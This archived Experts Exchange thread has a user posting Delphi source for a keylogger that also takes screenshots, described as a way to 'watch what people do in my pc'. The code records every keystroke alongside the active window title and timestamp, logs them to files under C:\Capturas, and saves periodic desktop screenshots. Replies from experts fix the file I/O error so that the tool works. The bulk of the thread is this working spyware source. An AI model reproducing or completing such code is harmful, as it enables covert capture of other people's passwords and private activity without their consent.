Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people, just like you, are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
Solved

Please check my code

Posted on 2004-09-25
3
521 Views
Last Modified: 2010-04-05
Could somebody tell me whats wrong with this code? Im tryng to make an app to watch what people do in my pc but it gives me an error like this: "I/O error 103."

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, JPEG;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    Timer2: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
Calidad=20; {cambiar esto}
Dir='C:\';
var
  Form1: TForm1;
    Current_App: String;
implementation

{$R *.dfm}
var  F:Textfile;




procedure TForm1.Timer1Timer(Sender: TObject);
var x: byte;
handler:THandle;
caption: Array[0..80] of Char;
begin
for x := 8 To 255 do
begin
if GetAsyncKeyState(x) = -32767 then
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App) and (caption<>'') then
begin
Current_App:=caption;
memo1.Text:=memo1.text+#13#10+'['+caption+']-['+TimeToStr(Now)+']-['+DateToStr(Now)+']'+#13#10;
end;
case x of
8  : memo1.text:=memo1.text+'[Backspace]';
9  : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10;
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' ';
46 : memo1.text := memo1.text+'[Del]';
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'='
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'·'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'/'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'9';
 65..90 :
            begin
            if Odd(GetKeyState(VK_CAPITAL)) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(x))
                else
                   memo1.text:=memo1.text+UpperCase(Chr(x))
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(x))
                else
                    memo1.text:=memo1.text+LowerCase(Chr(x));
            end;





        96..105 : memo1.text:=memo1.text + inttostr(x-96);
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'+';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'`';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'+';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+';'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'ç'
             else memo1.text:=memo1.text+'Ç';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'Ñ'
             else memo1.text:=memo1.text+'ñ';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
             else memo1.text:=memo1.text+'219';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+''
             else memo1.text:=memo1.text+'º';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¿'
             else memo1.text:=memo1.text+'¡';
222: If GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¨'
            else memo1.text:=memo1.text+'´'

             end;



end;
end;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
const
ScreenDir=Dir+'Capturas\Capturas de Pantalla';
KeylogDir=Dir+'Capturas\Capturas de Teclado';
var
DeskHWnd : Hwnd;
dc: HDC;
ScreenWidth, ScreenHeight: Integer;
TheBmp : TBitmap;
jpeg1 :Tjpegimage;

Directory_Name,File_Name:String;
begin



        Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}


        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);




DeskHWnd := GetDeskTopWindow;
dc := GetDC(DeskHWnd);
ScreenWidth := GetDeviceCaps(dc,HORZRES);
ScreenHeight := GetDeviceCaps(dc,VERTRES);
TheBmp := TBitmap.Create;
TheBmp.Width := ScreenWidth;
TheBmp.Height := ScreenHeight;
BitBlt(TheBmp.Canvas.Handle, 0,0,ScreenWidth,ScreenHeight,dc, 0,0,SRCCOPY);
Image1.Picture.Bitmap := TheBmp;
Application.ProcessMessages;
Jpeg1:=TjpegImage.Create;
jpeg1.Assign(Image1.Picture.Bitmap);
jpeg1.Smoothing:=true;

jpeg1.CompressionQuality:=Calidad;
Jpeg1.compress;

Directory_Name := FormatDateTime('dd-MM-yyyy', Now);
File_Name := FormatDateTime('HH.mm.ss AM/PM', Now);

system.MkDir(ScreenDir+'\'+Directory_Name);
Jpeg1.SaveToFile(ScreenDir+'\'+Directory_Name+'\'+File_Name+'.JPG');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
system.MkDir(Dir+'\Capturas');
system.MkDir(Dir+'\Capturas\Capturas de Teclado');
system.MkDir(Dir+'\Capturas\Capturas de Pantalla');
end;

end.



All this code is been copied from a bigger project I had in order to make it easier to notice the error but it still gives me trouble.
0
Comment
Question by:manganzon
3 Comments
 
LVL 17

Expert Comment

by:mokule
ID: 12152030
Hi,
       Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}
        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);

If File not exists You close it and then try to write to it
0
 
LVL 17

Accepted Solution

by:
Wim ten Brink earned 250 total points
ID: 12152545
@mokule, how suprising it might seem, that code might actually work. :-) What he does if the file doesn't exist is creating it, closing it and then appending to it. Since it exists, it should actually work! (But it's a dirty trick.) It would be better to just use:

  Assignfile(F, Name);
  if FileExists(Name) then begin
    Append(F);
  end
  else begin
    Rewrite(F);
  end;
  Write(F,Memo1.Text);
  Memo1.Clear;
  Closefile(F);

But do you know why you get the error? A wrong filename has been provided! I think the folder "C:\Capturas\Capturas de Teclado\" does not exist or could not be created... The problem might also be related to the usage of the {$I+} directive. With IO checks turned off, IO errors could be checked by checking the value of IOResult. This should be 0 after Rewrite(), Append() and Write()... If turned on, IO errors will raise exceptions. And since the project might have been compiled with IO checking set to false in the project options, it will just start raising exceptions AFTER it is turned on. Which is the WriteLn statement.
0
 

Author Comment

by:manganzon
ID: 12153572
Thank you, i really needed this, now it works fine. :)
0

Featured Post

Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Title # Comments Views Activity
oracle global variables 4 76
Delphi Yen format 3 45
How to remove Recent Projects from Embarcadero C++ builder XE10. Berlin 2 66
Multi-layered image in FireMonkey 9 48
The uses clause is one of those things that just tends to grow and grow. Most of the time this is in the main form, as it's from this form that all others are called. If you have a big application (including many forms), the uses clause in the in…
Introduction Raise your hands if you were as upset with FireMonkey as I was when I discovered that there was no TListview.  I use TListView in almost all of my applications I've written, and I was not going to compromise by resorting to TStringGrid…
Microsoft Active Directory, the widely used IT infrastructure, is known for its high risk of credential theft. The best way to test your Active Directory’s vulnerabilities to pass-the-ticket, pass-the-hash, privilege escalation, and malware attacks …
A short tutorial showing how to set up an email signature in Outlook on the Web (previously known as OWA). For free email signatures designs, visit https://www.mail-signatures.com/articles/signature-templates/?sts=6651 If you want to manage em…

839 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question